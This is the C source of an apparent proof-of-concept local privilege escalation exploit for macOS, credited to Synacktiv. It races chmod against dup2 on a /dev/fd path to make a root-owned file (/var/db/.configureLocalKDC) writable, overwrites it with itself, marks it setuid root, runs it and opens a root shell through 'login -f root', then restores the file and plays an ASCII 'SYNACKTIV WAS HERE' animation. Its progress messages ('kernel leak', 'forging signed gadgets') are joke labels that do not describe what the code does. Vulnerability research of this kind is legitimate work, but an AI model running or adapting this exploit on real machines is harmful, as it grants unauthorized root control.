/* * © 2023 Eloi Benoist-Vanderbeken * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ /* compile command: $ gcc -Werror -Wall -Wextra exploit.c -lncurses -o exploit */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include void demo(void); extern char **environ; #define ENFORCE(cond, else_statement) \ do { \ if (__builtin_expect(!(cond), 0)) { \ fputs("\r", stderr); \ timed_log("[!] %s is false (l.%d / errno=%s)\n", #cond, __LINE__, \ strerror(errno)); \ else_statement; \ } \ } while (0) static int my_chmod(char *path, int mode, int *old_mode); static void *chmod_routine(void *arg); static void timed_log(char *format, ...); static void nop_signal_handler(int); struct race_args { char *target; char *dev_fd_path; atomic_bool race; atomic_bool win; int new_mode; }; #define DEFAULT_VICTIM_PATH "/var/db/.configureLocalKDC" int main(int argc, char **argv) { int original_mode = -1, old_mode; int error = 1; pid_t ppid = -1; ENFORCE(signal(SIGUSR1, nop_signal_handler) != SIG_ERR, return 1); if (argc > 2) { fputs(" OK!\n", stderr); pid_t child_pid; ENFORCE((child_pid = atoi(argv[2])) > 0, return 1); ENFORCE(kill(child_pid, SIGUSR1) == 0, return 1); ENFORCE(sleep(30) > 0, return 1); ENFORCE(setuid(0) == 0, return 1); timed_log("[+] root privileges: OK!\n"); char *argv[] = {"login", "-f", "root", NULL}; timed_log("[+] enjoy this root shell provided by Synacktiv!\n"); ENFORCE(execve("/usr/bin/login", argv, environ) == 0, return 1); } // just in case... char *victim_path = DEFAULT_VICTIM_PATH; if (argc > 1) victim_path = argv[1]; timed_log("[+] initial setup: OK!\n"); char executable_path[2000]; uint32_t size = sizeof(executable_path); ENFORCE(_NSGetExecutablePath(executable_path, &size) == 0, return 1); timed_log("[+] kernel leak: OK!\n"); timed_log("[+] calculating heap layout..."); ENFORCE(my_chmod(victim_path, 0777, &original_mode) == 0, goto clean); fputs(" OK!\n", stderr); timed_log("[+] triggering OOB write..."); ENFORCE(copyfile(executable_path, victim_path, NULL, COPYFILE_DATA) == 0, goto clean); fputs(" OK!\n", stderr); timed_log("[+] forging signed gadgets..."); ENFORCE(my_chmod(victim_path, 04755, &old_mode) == 0, goto clean); fputs(" OK!\n", stderr); timed_log("[+] triggering code exec..."); ppid = getpid(); pid_t pid = fork(); if (pid > 0) { ppid = -1; char pid_string[10]; ENFORCE(snprintf(pid_string, sizeof(pid_string), "%d", pid) < (int)sizeof(pid_string), goto clean); char *argv[] = {"go", "go", pid_string, NULL}; ENFORCE(execve(victim_path, argv, environ) == 0, goto clean); } ENFORCE(pid == 0, ppid = -1; goto clean); ENFORCE(sleep(30) > 0, goto clean); error = 0; clean: timed_log("[+] primitive clean..."); ENFORCE(my_chmod(victim_path, 0777, &old_mode) == 0, error = 1); fputs(" OK!\n", stderr); ENFORCE(truncate(victim_path, 0) == 0, error = 1); timed_log("[+] restoring initial state..."); ENFORCE(my_chmod(victim_path, original_mode, &original_mode) == 0, error = 1); fputs(" OK!\n", stderr); if (ppid > 0) ENFORCE(kill(ppid, SIGUSR1) == 0, error = 1); // only show off if we are root... if (error == 0) demo(); return error; } static int my_chmod(char *path, int mode, int *old_mode) { static int nb_cpu = -1; if (nb_cpu < 0) { size_t nb_cpu_size = sizeof(nb_cpu); ENFORCE(sysctlbyname("hw.ncpu", &nb_cpu, &nb_cpu_size, NULL, 0) == 0, return 1); } int tmp_fd = -1, victim_fd = -1, blinking_fd = -1; bool delete_tmp_file = false; pthread_t threads[nb_cpu]; memset(threads, 0, sizeof(threads)); char tmp_file[] = "/tmp/synacktiv.XXXXXXXXXX"; char dev_fd_path[14]; struct race_args race_args = {.target = path, .dev_fd_path = dev_fd_path, .race = true, .win = false, .new_mode = mode}; int error = 1; struct stat info; ENFORCE(stat(path, &info) == 0, goto clean); *old_mode = info.st_mode & 07777; if (info.st_mode == mode) return 0; ENFORCE((tmp_fd = mkstemp(tmp_file)) >= 0, goto clean); delete_tmp_file = true; ENFORCE((victim_fd = open(path, O_RDONLY)) >= 0, goto clean); ENFORCE((blinking_fd = dup(victim_fd)) >= 0, goto clean); ENFORCE(snprintf(dev_fd_path, sizeof(dev_fd_path), "/dev/fd/%d", blinking_fd) < (int)sizeof(dev_fd_path), goto clean); for (int i = 0; i < nb_cpu; i++) ENFORCE(pthread_create(&threads[i], NULL, chmod_routine, &race_args) == 0, goto clean); while (race_args.race) { ENFORCE(dup2(tmp_fd, blinking_fd) >= 0, goto clean); ENFORCE(dup2(victim_fd, blinking_fd) >= 0, goto clean); } ENFORCE(race_args.win, goto clean); error = 0; clean: race_args.race = false; for (int i = 0; i < nb_cpu; i++) if (threads[i] != NULL) ENFORCE(pthread_join(threads[i], NULL) == 0, error = 1); if (blinking_fd >= 0) ENFORCE(close(blinking_fd) == 0, error = 1); if (tmp_fd >= 0) ENFORCE(close(tmp_fd) == 0, error = 1); if (tmp_fd >= 0) ENFORCE(close(victim_fd) == 0, error = 1); if (delete_tmp_file) ENFORCE(unlink(tmp_file) == 0, error = 1); return error; } static void *chmod_routine(void *arg) { struct race_args *race_args = arg; while (race_args->race) { if (chmod(race_args->dev_fd_path, race_args->new_mode) != 0) continue; struct stat info; ENFORCE(stat(race_args->target, &info) == 0, goto out); if ((info.st_mode & 07777) == race_args->new_mode) { race_args->win = true; break; } } out: race_args->race = false; return NULL; } static void timed_log(char *format, ...) { char buffer[30]; struct tm *time_info; time_t t = time(NULL); time_info = localtime(&t); strftime(buffer, 30, "%Y-%m-%d %H:%M:%S ", time_info); fputs(buffer, stderr); va_list args; va_start(args, format); vfprintf(stderr, format, args); va_end(args); } static void nop_signal_handler(int sig) { (void)sig; } // the REAL stuff starts here! #include #include #include #define COUNT_OF(x) \ ((sizeof(x) / sizeof(0 [x])) / ((size_t)(!(sizeof(x) % sizeof(0 [x]))))) #define FRAME_WIDTH 20 #define FRAME_HEIGHT 4 #define SLEEP_STEP 50 struct { char *str; int time; } frames[] = {{" ===<\0" " (°-°)\0" " [[ ]]\0" " |||\0", 700}, {" ===< 🍎\0" " (°-°)\0" " [[ ]]\0" " ||| \0", 100}, {" ===< ||\0" " (°-°) 🍎\0" " [[ ]]\0" " ||| \0", 100}, {" ===<\0" " (°-°) ||\0" " [[ ]] 🍎\0" " ||| \0", 100}, {" ===<\0" " (°-°)\0" " [[ ]] ||\0" " ||| 🍎\0", 100}, {" ===<\0" " (°-°)\0" " [[ ]]\0" " ||| 🍎\0", 100}, {" >===\0" " (c °)\0" " [[ | \0" " || 🍎\0", 500}, {" >=== ???\0" " (c °)\0" " [[ | \0" " || 🍎\0", 500}, {" >===\0" " (c °)\0" " [[ |🔪 \0" " || 🍎\0", 500}, {" >===\0" " 🔪 `)\0" " >> \0" " || 🍎\0", 300}, {" >===\0" " (c `)\0" " << \\\\🔪\0" " //> 🍎\0", 100}, {" >===\0" " (c `)\0" " << \\\\ 🔪\0" " //> 🍎\0", 100}, {" >===\0" " (c `)\0" " << \\\\ 🔪\0" " //> 🍎\0", 100}, {" >===\0" " (c `)\0" " << \\\\ 🔪\0" " //> 🍎\0", 100}, {" >===\0" " (c `)\0" " << \\\\ 🔪\0" " //> 🍎\0", 100}, {" >===\0" " (c °)\0" " // |\0" " \\\\ 💥\0", 100}, {" >===\0" " (c °)\0" " // | 💥 💥\0" " \\\\ 💥\0", 100}, {" >===\0" " (c °)\0" " // |\0" " \\\\ 💥\0", 100}, {" >===\0" " (c °) 💥\0" " // | 💥 💥 💥\0" " \\\\ 💥\0", 100}, {" >=== !!!\0" " (c °)\0" " [[ | \0" " || 💻\0", 600}, {"🍾 ===<\0" " \\(^-^)/🏅\0" " [ ]\0" " ||| 💻\0", 1000}, {" 🥷🥷🥷🥷🥷🥷🥷 \0" " SYNACKTIV\0" " WAS HERE\0" " 🥷🥷🥷🥷🥷🥷🥷 \0", 200}, {"\0", 100}, {" 🥷🥷🥷🥷🥷🥷🥷 \0" " SYNACKTIV\0" " WAS HERE\0" " 🥷🥷🥷🥷🥷🥷🥷 \0", 200}, {"\0", 100}, {" 🥷🥷🥷🥷🥷🥷🥷 \0" " SYNACKTIV\0" " WAS HERE\0" " 🥷🥷🥷🥷🥷🥷🥷 \0", 200}, {"\0", 100}, {" 🥷🥷🥷🥷🥷🥷🥷 \0" " SYNACKTIV\0" " WAS HERE\0" " 🥷🥷🥷🥷🥷🥷🥷 \0", 200}, {"\0", 100}, {" 🥷🥷🥷🥷🥷🥷🥷 \0" " SYNACKTIV\0" " WAS HERE\0" " 🥷🥷🥷🥷🥷🥷🥷 \0", 200}, {"\0", 100}, {" 🥷🥷🥷🥷🥷🥷🥷 \0" " SYNACKTIV\0" " WAS HERE\0" " 🥷🥷🥷🥷🥷🥷🥷 \0", 200}, {"\0", 100}, {" 🥷🥷🥷🥷🥷🥷🥷 \0" " SYNACKTIV\0" " WAS HERE\0" " 🥷🥷🥷🥷🥷🥷🥷 \0", 200}, {"\0", 100}, {" 🥷🥷🥷🥷🥷🥷🥷 \0" " SYNACKTIV\0" " WAS HERE\0" " 🥷🥷🥷🥷🥷🥷🥷 \0", 200}, {"\0", 100}, {" 🥷🥷🥷🥷🥷🥷🥷 \0" " SYNACKTIV\0" " WAS HERE\0" " 🥷🥷🥷🥷🥷🥷🥷 \0", 200}, {"\0", 100}, {" 🥷🥷🥷🥷🥷🥷🥷 \0" " SYNACKTIV\0" " WAS HERE\0" " 🥷🥷🥷🥷🥷🥷🥷 \0", 200}, {"\0", 100}}; void demo() { ENFORCE(setupterm(NULL, STDOUT_FILENO, NULL) != ERR, goto fail); char *cup = tigetstr("cup"); ENFORCE((cup != (char *)0) && (cup != (char *)-1), goto fail); char *rc = tigetstr("rc"); ENFORCE((rc != (char *)0) && (rc != (char *)-1), goto fail); char *sc = tigetstr("sc"); ENFORCE((sc != (char *)0) && (sc != (char *)-1), goto fail); int i = 0; int sleep_time = frames[i].time; ENFORCE(sleep_time % SLEEP_STEP == 0, goto fail); ENFORCE(sleep_time > 0, goto fail); do { struct winsize winsize; ENFORCE(ioctl(STDOUT_FILENO, TIOCGWINSZ, &winsize) != -1, goto fail); ENFORCE(tputs(sc, 1, putchar) != ERR, goto fail); // "clear" screen for (int line = 0; line < FRAME_HEIGHT; line++) { ENFORCE(tputs(tparm(cup, line, winsize.ws_col - FRAME_WIDTH), 1, putchar) != ERR, goto fail); for (int col = 0; col < FRAME_WIDTH; col++) putchar(' '); } char *frame = frames[i].str; int line = 0, pos = 0; while (frame[pos] != '\0') { ENFORCE(line < FRAME_HEIGHT, goto fail); ENFORCE(tputs(tparm(cup, line, winsize.ws_col - FRAME_WIDTH), 1, putchar) != ERR, goto fail); printf("%s", &frame[pos]); pos += strlen(&frame[pos]) + 1; line++; } ENFORCE(tputs(rc, 1, putchar) != ERR, goto fail); fflush(stdout); if (sleep_time == 0) { i = (i + 1) % COUNT_OF(frames); sleep_time = frames[i].time; ENFORCE(sleep_time % SLEEP_STEP == 0, goto fail); ENFORCE(sleep_time > 0, goto fail); } else { sleep_time -= SLEEP_STEP; } usleep(SLEEP_STEP * 1000); } while (1); fail:; }